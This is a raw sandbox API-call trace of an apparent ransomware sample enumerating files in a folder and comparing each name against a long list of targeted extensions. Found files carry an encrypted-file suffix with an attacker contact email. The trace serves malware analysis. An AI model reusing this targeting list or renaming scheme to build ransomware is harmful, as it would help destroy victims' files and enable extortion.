lstrlenW (lpString=".lgp") returned 4 [0087.352] lstrcmpiW (lpString1=".lgp", lpString2="].kr") returned -1 [0087.352] lstrlenW (lpString=".log") returned 4 [0087.352] lstrcmpiW (lpString1=".log", lpString2="].kr") returned -1 [0087.352] lstrlenW (lpString=".m1v") returned 4 [0087.352] lstrcmpiW (lpString1=".m1v", lpString2="].kr") returned -1 [0087.352] lstrlenW (lpString=".m4a") returned 4 [0087.352] lstrcmpiW (lpString1=".m4a", lpString2="].kr") returned -1 [0087.352] lstrlenW (lpString=".m4v") returned 4 [0087.352] lstrcmpiW (lpString1=".m4v", lpString2="].kr") returned -1 [0087.352] lstrlenW (lpString=".max") returned 4 [0087.352] lstrcmpiW (lpString1=".max", lpString2="].kr") returned -1 [0087.352] lstrlenW (lpString=".md") returned 3 [0087.352] lstrcmpiW (lpString1=".md", lpString2=".kr") returned 1 [0087.352] lstrlenW (lpString=".mda") returned 4 [0087.352] lstrcmpiW (lpString1=".mda", lpString2="].kr") returned -1 [0087.352] lstrlenW (lpString=".mdb") returned 4 [0087.352] lstrcmpiW (lpString1=".mdb", lpString2="].kr") returned -1 [0087.352] lstrlenW (lpString=".mde") returned 4 [0087.352] lstrcmpiW (lpString1=".mde", lpString2="].kr") returned -1 [0087.352] lstrlenW (lpString=".mdf") returned 4 [0087.352] lstrcmpiW (lpString1=".mdf", lpString2="].kr") returned -1 [0087.352] lstrlenW (lpString=".mdw") returned 4 [0087.352] lstrcmpiW (lpString1=".mdw", lpString2="].kr") returned -1 [0087.352] lstrlenW (lpString=".mef") returned 4 [0087.352] lstrcmpiW (lpString1=".mef", lpString2="].kr") returned -1 [0087.352] lstrlenW (lpString=".mft") returned 4 [0087.352] lstrcmpiW (lpString1=".mft", lpString2="].kr") returned -1 [0087.353] lstrlenW (lpString=".mfw") returned 4 [0087.353] lstrcmpiW (lpString1=".mfw", lpString2="].kr") returned -1 [0087.353] lstrlenW (lpString=".mht") returned 4 [0087.353] lstrcmpiW (lpString1=".mht", lpString2="].kr") returned -1 [0087.353] lstrlenW (lpString=".mhtml") returned 6 [0087.353] lstrcmpiW (lpString1=".mhtml", lpString2="cc].kr") returned -1 [0087.353] lstrlenW (lpString=".mka") returned 4 [0087.353] lstrcmpiW (lpString1=".mka", lpString2="].kr") returned -1 [0087.353] lstrlenW (lpString=".mkidx") returned 6 [0087.353] lstrcmpiW (lpString1=".mkidx", lpString2="cc].kr") returned -1 [0087.353] lstrlenW (lpString=".mkv") returned 4 [0087.353] lstrcmpiW (lpString1=".mkv", lpString2="].kr") returned -1 [0087.353] lstrlenW (lpString=".mos") returned 4 [0087.353] lstrcmpiW (lpString1=".mos", lpString2="].kr") returned -1 [0087.353] lstrlenW (lpString=".mov") returned 4 [0087.353] lstrcmpiW (lpString1=".mov", lpString2="].kr") returned -1 [0087.353] lstrlenW (lpString=".mp3") returned 4 [0087.353] lstrcmpiW (lpString1=".mp3", lpString2="].kr") returned -1 [0087.353] lstrlenW (lpString=".mp4") returned 4 [0087.353] lstrcmpiW (lpString1=".mp4", lpString2="].kr") returned -1 [0087.353] lstrlenW (lpString=".mpeg") returned 5 [0087.353] lstrcmpiW (lpString1=".mpeg", lpString2="c].kr") returned -1 [0087.353] lstrlenW (lpString=".mpg") returned 4 [0087.353] lstrcmpiW (lpString1=".mpg", lpString2="].kr") returned -1 [0087.353] lstrlenW (lpString=".mpv") returned 4 [0087.353] lstrcmpiW (lpString1=".mpv", lpString2="].kr") returned -1 [0087.353] lstrlenW (lpString=".mrw") returned 4 [0087.353] lstrcmpiW (lpString1=".mrw", lpString2="].kr") returned -1 [0087.353] lstrlenW (lpString=".msg") returned 4 [0087.354] lstrcmpiW (lpString1=".msg", lpString2="].kr") returned -1 [0087.354] lstrlenW (lpString=".mxl") returned 4 [0087.354] lstrcmpiW (lpString1=".mxl", lpString2="].kr") returned -1 [0087.354] lstrlenW (lpString=".myd") returned 4 [0087.354] lstrcmpiW (lpString1=".myd", lpString2="].kr") returned -1 [0087.354] lstrlenW (lpString=".myi") returned 4 [0087.354] lstrcmpiW (lpString1=".myi", lpString2="].kr") returned -1 [0087.354] lstrlenW (lpString=".nef") returned 4 [0087.354] lstrcmpiW (lpString1=".nef", lpString2="].kr") returned -1 [0087.354] lstrlenW (lpString=".nrw") returned 4 [0087.354] lstrcmpiW (lpString1=".nrw", lpString2="].kr") returned -1 [0087.354] lstrlenW (lpString=".obj") returned 4 [0087.354] lstrcmpiW (lpString1=".obj", lpString2="].kr") returned -1 [0087.354] lstrlenW (lpString=".odb") returned 4 [0087.354] lstrcmpiW (lpString1=".odb", lpString2="].kr") returned -1 [0087.354] lstrlenW (lpString=".odc") returned 4 [0087.354] lstrcmpiW (lpString1=".odc", lpString2="].kr") returned -1 [0087.354] lstrlenW (lpString=".odm") returned 4 [0087.354] lstrcmpiW (lpString1=".odm", lpString2="].kr") returned -1 [0087.354] lstrlenW (lpString=".odp") returned 4 [0087.354] lstrcmpiW (lpString1=".odp", lpString2="].kr") returned -1 [0087.354] lstrlenW (lpString=".ods") returned 4 [0087.354] lstrcmpiW (lpString1=".ods", lpString2="].kr") returned -1 [0087.354] lstrlenW (lpString=".oft") returned 4 [0087.354] lstrcmpiW (lpString1=".oft", lpString2="].kr") returned -1 [0087.354] lstrlenW (lpString=".one") returned 4 [0087.354] lstrcmpiW (lpString1=".one", lpString2="].kr") returned -1 [0087.354] lstrlenW (lpString=".onepkg") returned 7 [0087.354] lstrcmpiW (lpString1=".onepkg", lpString2=".cc].kr") returned 1 [0087.355] lstrlenW (lpString=".onetoc2") returned 8 [0087.355] lstrcmpiW (lpString1=".onetoc2", lpString2="l.cc].kr") returned -1 [0087.355] lstrlenW (lpString=".opt") returned 4 [0087.355] lstrcmpiW (lpString1=".opt", lpString2="].kr") returned -1 [0087.355] lstrlenW (lpString=".oqy") returned 4 [0087.355] lstrcmpiW (lpString1=".oqy", lpString2="].kr") returned -1 [0087.355] lstrlenW (lpString=".orf") returned 4 [0087.355] lstrcmpiW (lpString1=".orf", lpString2="].kr") returned -1 [0087.355] lstrlenW (lpString=".p12") returned 4 [0087.355] lstrcmpiW (lpString1=".p12", lpString2="].kr") returned -1 [0087.355] lstrlenW (lpString=".p7b") returned 4 [0087.355] lstrcmpiW (lpString1=".p7b", lpString2="].kr") returned -1 [0087.355] lstrlenW (lpString=".p7c") returned 4 [0087.355] lstrcmpiW (lpString1=".p7c", lpString2="].kr") returned -1 [0087.355] lstrlenW (lpString=".pam") returned 4 [0087.355] lstrcmpiW (lpString1=".pam", lpString2="].kr") returned -1 [0087.355] lstrlenW (lpString=".pbm") returned 4 [0087.355] lstrcmpiW (lpString1=".pbm", lpString2="].kr") returned -1 [0087.355] lstrlenW (lpString=".pct") returned 4 [0087.355] lstrcmpiW (lpString1=".pct", lpString2="].kr") returned -1 [0087.355] lstrlenW (lpString=".pcx") returned 4 [0087.355] lstrcmpiW (lpString1=".pcx", lpString2="].kr") returned -1 [0087.355] lstrlenW (lpString=".pdd") returned 4 [0087.355] lstrcmpiW (lpString1=".pdd", lpString2="].kr") returned -1 [0087.355] lstrlenW (lpString=".pdf") returned 4 [0087.355] lstrcmpiW (lpString1=".pdf", lpString2="].kr") returned -1 [0087.355] lstrlenW (lpString=".pdp") returned 4 [0087.355] lstrcmpiW (lpString1=".pdp", lpString2="].kr") returned -1 [0087.356] lstrlenW (lpString=".pef") returned 4 [0087.356] lstrcmpiW (lpString1=".pef", lpString2="].kr") returned -1 [0087.356] lstrlenW (lpString=".pem") returned 4 [0087.356] lstrcmpiW (lpString1=".pem", lpString2="].kr") returned -1 [0087.356] lstrlenW (lpString=".pff") returned 4 [0087.356] lstrcmpiW (lpString1=".pff", lpString2="].kr") returned -1 [0087.356] lstrlenW (lpString=".pfm") returned 4 [0087.356] lstrcmpiW (lpString1=".pfm", lpString2="].kr") returned -1 [0087.356] lstrlenW (lpString=".pfx") returned 4 [0087.356] lstrcmpiW (lpString1=".pfx", lpString2="].kr") returned -1 [0087.356] lstrlenW (lpString=".pgm") returned 4 [0087.356] lstrcmpiW (lpString1=".pgm", lpString2="].kr") returned -1 [0087.356] lstrlenW (lpString=".php") returned 4 [0087.356] lstrcmpiW (lpString1=".php", lpString2="].kr") returned -1 [0087.356] lstrlenW (lpString=".php3") returned 5 [0087.356] lstrcmpiW (lpString1=".php3", lpString2="c].kr") returned -1 [0087.356] lstrlenW (lpString=".php4") returned 5 [0087.356] lstrcmpiW (lpString1=".php4", lpString2="c].kr") returned -1 [0087.356] lstrlenW (lpString=".php5") returned 5 [0087.356] lstrcmpiW (lpString1=".php5", lpString2="c].kr") returned -1 [0087.356] lstrlenW (lpString=".phtml") returned 6 [0087.356] lstrcmpiW (lpString1=".phtml", lpString2="cc].kr") returned -1 [0087.356] lstrlenW (lpString=".pict") returned 5 [0087.356] lstrcmpiW (lpString1=".pict", lpString2="c].kr") returned -1 [0087.356] lstrlenW (lpString=".pl") returned 3 [0087.356] lstrcmpiW (lpString1=".pl", lpString2=".kr") returned 1 [0087.356] lstrlenW (lpString=".pls") returned 4 [0087.356] lstrcmpiW (lpString1=".pls", lpString2="].kr") returned -1 [0087.357] lstrlenW (lpString=".pm") returned 3 [0087.357] lstrcmpiW (lpString1=".pm", lpString2=".kr") returned 1 [0087.357] lstrlenW (lpString=".png") returned 4 [0087.357] lstrcmpiW (lpString1=".png", lpString2="].kr") returned -1 [0087.357] lstrlenW (lpString=".pnm") returned 4 [0087.357] lstrcmpiW (lpString1=".pnm", lpString2="].kr") returned -1 [0087.357] lstrlenW (lpString=".pot") returned 4 [0087.357] lstrcmpiW (lpString1=".pot", lpString2="].kr") returned -1 [0087.357] lstrlenW (lpString=".potm") returned 5 [0087.357] lstrcmpiW (lpString1=".potm", lpString2="c].kr") returned -1 [0087.357] lstrlenW (lpString=".potx") returned 5 [0087.357] lstrcmpiW (lpString1=".potx", lpString2="c].kr") returned -1 [0087.357] lstrlenW (lpString=".ppa") returned 4 [0087.357] lstrcmpiW (lpString1=".ppa", lpString2="].kr") returned -1 [0087.357] lstrlenW (lpString=".ppam") returned 5 [0087.357] lstrcmpiW (lpString1=".ppam", lpString2="c].kr") returned -1 [0087.357] lstrlenW (lpString=".ppm") returned 4 [0087.357] lstrcmpiW (lpString1=".ppm", lpString2="].kr") returned -1 [0087.357] lstrlenW (lpString=".pps") returned 4 [0087.357] lstrcmpiW (lpString1=".pps", lpString2="].kr") returned -1 [0087.357] lstrlenW (lpString=".ppsm") returned 5 [0087.357] lstrcmpiW (lpString1=".ppsm", lpString2="c].kr") returned -1 [0087.357] lstrlenW (lpString=".ppt") returned 4 [0087.357] lstrcmpiW (lpString1=".ppt", lpString2="].kr") returned -1 [0087.357] lstrlenW (lpString=".pptm") returned 5 [0087.357] lstrcmpiW (lpString1=".pptm", lpString2="c].kr") returned -1 [0087.357] lstrlenW (lpString=".pptx") returned 5 [0087.357] lstrcmpiW (lpString1=".pptx", lpString2="c].kr") returned -1 [0087.358] lstrlenW (lpString=".prn") returned 4 [0087.358] lstrcmpiW (lpString1=".prn", lpString2="].kr") returned -1 [0087.358] lstrlenW (lpString=".ps") returned 3 [0087.358] lstrcmpiW (lpString1=".ps", lpString2=".kr") returned 1 [0087.358] lstrlenW (lpString=".psb") returned 4 [0087.358] lstrcmpiW (lpString1=".psb", lpString2="].kr") returned -1 [0087.358] lstrlenW (lpString=".psd") returned 4 [0087.358] lstrcmpiW (lpString1=".psd", lpString2="].kr") returned -1 [0087.358] lstrlenW (lpString=".pst") returned 4 [0087.358] lstrcmpiW (lpString1=".pst", lpString2="].kr") returned -1 [0087.358] lstrlenW (lpString=".ptx") returned 4 [0087.358] lstrcmpiW (lpString1=".ptx", lpString2="].kr") returned -1 [0087.358] lstrlenW (lpString=".pub") returned 4 [0087.358] lstrcmpiW (lpString1=".pub", lpString2="].kr") returned -1 [0087.358] lstrlenW (lpString=".pwm") returned 4 [0087.358] lstrcmpiW (lpString1=".pwm", lpString2="].kr") returned -1 [0087.358] lstrlenW (lpString=".pxr") returned 4 [0087.358] lstrcmpiW (lpString1=".pxr", lpString2="].kr") returned -1 [0087.358] lstrlenW (lpString=".py") returned 3 [0087.358] lstrcmpiW (lpString1=".py", lpString2=".kr") returned 1 [0087.358] lstrlenW (lpString=".qt") returned 3 [0087.358] lstrcmpiW (lpString1=".qt", lpString2=".kr") returned 1 [0087.358] lstrlenW (lpString=".r3d") returned 4 [0087.358] lstrcmpiW (lpString1=".r3d", lpString2="].kr") returned -1 [0087.358] lstrlenW (lpString=".raf") returned 4 [0087.358] lstrcmpiW (lpString1=".raf", lpString2="].kr") returned -1 [0087.358] lstrlenW (lpString=".rar") returned 4 [0087.358] lstrcmpiW (lpString1=".rar", lpString2="].kr") returned -1 [0087.359] FindNextFileW (in: hFindFile=0x4260250, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc68491fd, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc68491fd, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc68491fd, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x13c66, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="LOCALI~1.KR")) returned 1 [0087.359] FindNextFileW (in: hFindFile=0x4260250, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0087.359] FindNextFileW (in: hFindFile=0x4260250, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0087.359] FindClose (in: hFindFile=0x4260250 | out: hFindFile=0x4260250) returned 1 [0087.359] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4250058 | out: hHeap=0x440000) returned 1 [0087.359] FindNextFileW (in: hFindFile=0x4260350, lpFindFileData=0x3cdfa7c | out: lpFindFileData=0x3cdfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1049", cAlternateFileName="")) returned 1 [0087.360] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xfffe) returned 0x4250058 [0087.360] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049") returned 26 [0087.360] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1049\\*", lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xc68e1a94, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4260690 [0087.360] FindNextFileW (in: hFindFile=0x4260690, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xc68e1a94, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.360] FindNextFileW (in: hFindFile=0x4260690, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc686f4ee, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc686f4ee, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc686f4ee, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0xd5a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="EULART~1.KR")) returned 1 [0087.360] lstrlenW (lpString="eula.rtf.id-B4197730.[blablacar@airmail.cc].kr") returned 46 [0087.360] lstrlenW (lpString=".1cd") returned 4 [0087.360] lstrcmpiW (lpString1=".1cd", lpString2="].kr") returned -1 [0087.360] lstrlenW (lpString=".3ds") returned 4 [0087.360] lstrcmpiW (lpString1=".3ds", lpString2="].kr") returned -1 [0087.360] lstrlenW (lpString=".3fr") returned 4 [0087.360] lstrcmpiW (lpString1=".3fr", lpString2="].kr") returned -1 [0087.360] lstrlenW (lpString=".3g2") returned 4 [0087.360] lstrcmpiW (lpString1=".3g2", lpString2="].kr") returned -1 [0087.360] lstrlenW (lpString=".3gp") returned 4 [0087.360] lstrcmpiW (lpString1=".3gp", lpString2="].kr") returned -1 [0087.360] lstrlenW (lpString=".7z") returned 3 [0087.360] lstrcmpiW (lpString1=".7z", lpString2=".kr") returned -1 [0087.361] lstrlenW (lpString=".accda") returned 6 [0087.361] lstrcmpiW (lpString1=".accda", lpString2="cc].kr") returned -1 [0087.361] lstrlenW (lpString=".accdb") returned 6 [0087.361] lstrcmpiW (lpString1=".accdb", lpString2="cc].kr") returned -1 [0087.361] lstrlenW (lpString=".accdc") returned 6 [0087.361] lstrcmpiW (lpString1=".accdc", lpString2="cc].kr") returned -1 [0087.361] lstrlenW (lpString=".accde") returned 6 [0087.361] lstrcmpiW (lpString1=".accde", lpString2="cc].kr") returned -1 [0087.361] lstrlenW (lpString=".accdt") returned 6 [0087.361] lstrcmpiW (lpString1=".accdt", lpString2="cc].kr") returned -1 [0087.361] lstrlenW (lpString=".accdw") returned 6 [0087.361] lstrcmpiW (lpString1=".accdw", lpString2="cc].kr") returned -1 [0087.361] lstrlenW (lpString=".adb") returned 4 [0087.361] lstrcmpiW (lpString1=".adb", lpString2="].kr") returned -1 [0087.361] lstrlenW (lpString=".adp") returned 4 [0087.361] lstrcmpiW (lpString1=".adp", lpString2="].kr") returned -1 [0087.361] lstrlenW (lpString=".ai") returned 3 [0087.361] lstrcmpiW (lpString1=".ai", lpString2=".kr") returned -1 [0087.361] lstrlenW (lpString=".ai3") returned 4 [0087.361] lstrcmpiW (lpString1=".ai3", lpString2="].kr") returned -1 [0087.361] lstrlenW (lpString=".ai4") returned 4 [0087.361] lstrcmpiW (lpString1=".ai4", lpString2="].kr") returned -1 [0087.361] lstrlenW (lpString=".ai5") returned 4 [0087.361] lstrcmpiW (lpString1=".ai5", lpString2="].kr") returned -1 [0087.361] lstrlenW (lpString=".ai6") returned 4 [0087.361] lstrcmpiW (lpString1=".ai6", lpString2="].kr") returned -1 [0087.361] lstrlenW (lpString=".ai7") returned 4 [0087.361] lstrcmpiW (lpString1=".ai7", lpString2="].kr") returned -1 [0087.362] lstrlenW (lpString=".ai8") returned 4 [0087.362] lstrcmpiW (lpString1=".ai8", lpString2="].kr") returned -1 [0087.362] lstrlenW (lpString=".anim") returned 5 [0087.362] lstrcmpiW (lpString1=".anim", lpString2="c].kr") returned -1 [0087.362] lstrlenW (lpString=".arw") returned 4 [0087.362] lstrcmpiW (lpString1=".arw", lpString2="].kr") returned -1 [0087.362] lstrlenW (lpString=".as") returned 3 [0087.362] lstrcmpiW (lpString1=".as", lpString2=".kr") returned -1 [0087.362] lstrlenW (lpString=".asa") returned 4 [0087.362] lstrcmpiW (lpString1=".asa", lpString2="].kr") returned -1 [0087.362] lstrlenW (lpString=".asc") returned 4 [0087.362] lstrcmpiW (lpString1=".asc", lpString2="].kr") returned -1 [0087.362] lstrlenW (lpString=".ascx") returned 5 [0087.362] lstrcmpiW (lpString1=".ascx", lpString2="c].kr") returned -1 [0087.362] lstrlenW (lpString=".asm") returned 4 [0087.362] lstrcmpiW (lpString1=".asm", lpString2="].kr") returned -1 [0087.362] lstrlenW (lpString=".asmx") returned 5 [0087.362] lstrcmpiW (lpString1=".asmx", lpString2="c].kr") returned -1 [0087.362] lstrlenW (lpString=".asp") returned 4 [0087.362] lstrcmpiW (lpString1=".asp", lpString2="].kr") returned -1 [0087.362] lstrlenW (lpString=".aspx") returned 5 [0087.362] lstrcmpiW (lpString1=".aspx", lpString2="c].kr") returned -1 [0087.362] lstrlenW (lpString=".asr") returned 4 [0087.362] lstrcmpiW (lpString1=".asr", lpString2="].kr") returned -1 [0087.362] lstrlenW (lpString=".asx") returned 4 [0087.362] lstrcmpiW (lpString1=".asx", lpString2="].kr") returned -1 [0087.362] lstrlenW (lpString=".avi") returned 4 [0087.363] lstrcmpiW (lpString1=".avi", lpString2="].kr") returned -1 [0087.363] lstrlenW (lpString=".avs") returned 4 [0087.363] lstrcmpiW (lpString1=".avs", lpString2="].kr") returned -1 [0087.363] lstrlenW (lpString=".backup") returned 7 [0087.363] lstrcmpiW (lpString1=".backup", lpString2=".cc].kr") returned -1 [0087.363] lstrlenW (lpString=".bak") returned 4 [0087.363] lstrcmpiW (lpString1=".bak", lpString2="].kr") returned -1 [0087.363] lstrlenW (lpString=".bay") returned 4 [0087.363] lstrcmpiW (lpString1=".bay", lpString2="].kr") returned -1 [0087.363] lstrlenW (lpString=".bd") returned 3 [0087.363] lstrcmpiW (lpString1=".bd", lpString2=".kr") returned -1 [0087.363] lstrlenW (lpString=".bin") returned 4 [0087.363] lstrcmpiW (lpString1=".bin", lpString2="].kr") returned -1 [0087.363] lstrlenW (lpString=".bmp") returned 4 [0087.363] lstrcmpiW (lpString1=".bmp", lpString2="].kr") returned -1 [0087.363] lstrlenW (lpString=".bz2") returned 4 [0087.363] lstrcmpiW (lpString1=".bz2", lpString2="].kr") returned -1 [0087.363] lstrlenW (lpString=".c") returned 2 [0087.363] lstrcmpiW (lpString1=".c", lpString2="kr") returned -1 [0087.363] lstrlenW (lpString=".cdr") returned 4 [0087.363] lstrcmpiW (lpString1=".cdr", lpString2="].kr") returned -1 [0087.363] lstrlenW (lpString=".cer") returned 4 [0087.363] lstrcmpiW (lpString1=".cer", lpString2="].kr") returned -1 [0087.363] lstrlenW (lpString=".cf") returned 3 [0087.363] lstrcmpiW (lpString1=".cf", lpString2=".kr") returned -1 [0087.363] lstrlenW (lpString=".cfc") returned 4 [0087.363] lstrcmpiW (lpString1=".cfc", lpString2="].kr") returned -1 [0087.363] lstrlenW (lpString=".cfm") returned 4 [0087.364] lstrcmpiW (lpString1=".cfm", lpString2="].kr") returned -1 [0087.364] lstrlenW (lpString=".cfml") returned 5 [0087.364] lstrcmpiW (lpString1=".cfml", lpString2="c].kr") returned -1 [0087.364] lstrlenW (lpString=".cfu") returned 4 [0087.364] lstrcmpiW (lpString1=".cfu", lpString2="].kr") returned -1 [0087.364] lstrlenW (lpString=".chm") returned 4 [0087.364] lstrcmpiW (lpString1=".chm", lpString2="].kr") returned -1 [0087.364] lstrlenW (lpString=".cin") returned 4 [0087.364] lstrcmpiW (lpString1=".cin", lpString2="].kr") returned -1 [0087.364] lstrlenW (lpString=".class") returned 6 [0087.364] lstrcmpiW (lpString1=".class", lpString2="cc].kr") returned -1 [0087.364] lstrlenW (lpString=".clx") returned 4 [0087.364] lstrcmpiW (lpString1=".clx", lpString2="].kr") returned -1 [0087.364] lstrlenW (lpString=".config") returned 7 [0087.364] lstrcmpiW (lpString1=".config", lpString2=".cc].kr") returned 1 [0087.364] lstrlenW (lpString=".cpp") returned 4 [0087.364] lstrcmpiW (lpString1=".cpp", lpString2="].kr") returned -1 [0087.364] lstrlenW (lpString=".cr2") returned 4 [0087.364] lstrcmpiW (lpString1=".cr2", lpString2="].kr") returned -1 [0087.364] lstrlenW (lpString=".crt") returned 4 [0087.364] lstrcmpiW (lpString1=".crt", lpString2="].kr") returned -1 [0087.364] lstrlenW (lpString=".crw") returned 4 [0087.364] lstrcmpiW (lpString1=".crw", lpString2="].kr") returned -1 [0087.364] lstrlenW (lpString=".cs") returned 3 [0087.364] lstrcmpiW (lpString1=".cs", lpString2=".kr") returned -1 [0087.364] lstrlenW (lpString=".css") returned 4 [0087.365] lstrcmpiW (lpString1=".css", lpString2="].kr") returned -1 [0087.365] lstrlenW (lpString=".csv") returned 4 [0087.365] lstrcmpiW (lpString1=".csv", lpString2="].kr") returned -1 [0087.365] lstrlenW (lpString=".cub") returned 4 [0087.365] lstrcmpiW (lpString1=".cub", lpString2="].kr") returned -1 [0087.365] lstrlenW (lpString=".dae") returned 4 [0087.365] lstrcmpiW (lpString1=".dae", lpString2="].kr") returned -1 [0087.365] lstrlenW (lpString=".dat") returned 4 [0087.365] lstrcmpiW (lpString1=".dat", lpString2="].kr") returned -1 [0087.365] lstrlenW (lpString=".db") returned 3 [0087.365] lstrcmpiW (lpString1=".db", lpString2=".kr") returned -1 [0087.365] lstrlenW (lpString=".dbf") returned 4 [0087.365] lstrcmpiW (lpString1=".dbf", lpString2="].kr") returned -1 [0087.365] lstrlenW (lpString=".dbx") returned 4 [0087.365] lstrcmpiW (lpString1=".dbx", lpString2="].kr") returned -1 [0087.365] lstrlenW (lpString=".dc3") returned 4 [0087.365] lstrcmpiW (lpString1=".dc3", lpString2="].kr") returned -1 [0087.365] lstrlenW (lpString=".dcm") returned 4 [0087.365] lstrcmpiW (lpString1=".dcm", lpString2="].kr") returned -1 [0087.365] lstrlenW (lpString=".dcr") returned 4 [0087.365] lstrcmpiW (lpString1=".dcr", lpString2="].kr") returned -1 [0087.365] lstrlenW (lpString=".der") returned 4 [0087.365] lstrcmpiW (lpString1=".der", lpString2="].kr") returned -1 [0087.365] lstrlenW (lpString=".dib") returned 4 [0087.365] lstrcmpiW (lpString1=".dib", lpString2="].kr") returned -1 [0087.365] lstrlenW (lpString=".dic") returned 4 [0087.365] lstrcmpiW (lpString1=".dic", lpString2="].kr") returned -1 [0087.365] lstrlenW (lpString=".dif") returned 4 [0087.366] lstrcmpiW (lpString1=".dif", lpString2="].kr") returned -1 [0087.366] lstrlenW (lpString=".divx") returned 5 [0087.366] lstrcmpiW (lpString1=".divx", lpString2="c].kr") returned -1 [0087.366] lstrlenW (lpString=".djvu") returned 5 [0087.366] lstrcmpiW (lpString1=".djvu", lpString2="c].kr") returned -1 [0087.366] lstrlenW (lpString=".dng") returned 4 [0087.366] lstrcmpiW (lpString1=".dng", lpString2="].kr") returned -1 [0087.366] lstrlenW (lpString=".doc") returned 4 [0087.366] lstrcmpiW (lpString1=".doc", lpString2="].kr") returned -1 [0087.366] lstrlenW (lpString=".docm") returned 5 [0087.366] lstrcmpiW (lpString1=".docm", lpString2="c].kr") returned -1 [0087.366] lstrlenW (lpString=".docx") returned 5 [0087.366] lstrcmpiW (lpString1=".docx", lpString2="c].kr") returned -1 [0087.366] lstrlenW (lpString=".dot") returned 4 [0087.366] lstrcmpiW (lpString1=".dot", lpString2="].kr") returned -1 [0087.366] lstrlenW (lpString=".dotm") returned 5 [0087.366] lstrcmpiW (lpString1=".dotm", lpString2="c].kr") returned -1 [0087.367] lstrlenW (lpString=".dotx") returned 5 [0087.367] lstrcmpiW (lpString1=".dotx", lpString2="c].kr") returned -1 [0087.367] lstrlenW (lpString=".dpx") returned 4 [0087.367] lstrcmpiW (lpString1=".dpx", lpString2="].kr") returned -1 [0087.367] lstrlenW (lpString=".dqy") returned 4 [0087.367] lstrcmpiW (lpString1=".dqy", lpString2="].kr") returned -1 [0087.367] lstrlenW (lpString=".dsn") returned 4 [0087.367] lstrcmpiW (lpString1=".dsn", lpString2="].kr") returned -1 [0087.367] lstrlenW (lpString=".dt") returned 3 [0087.367] lstrcmpiW (lpString1=".dt", lpString2=".kr") returned -1 [0087.367] lstrlenW (lpString=".dtd") returned 4 [0087.367] lstrcmpiW (lpString1=".dtd", lpString2="].kr") returned -1 [0087.367] lstrlenW (lpString=".dwg") returned 4 [0087.367] lstrcmpiW (lpString1=".dwg", lpString2="].kr") returned -1 [0087.367] lstrlenW (lpString=".dwt") returned 4 [0087.367] lstrcmpiW (lpString1=".dwt", lpString2="].kr") returned -1 [0087.367] lstrlenW (lpString=".dx") returned 3 [0087.367] lstrcmpiW (lpString1=".dx", lpString2=".kr") returned -1 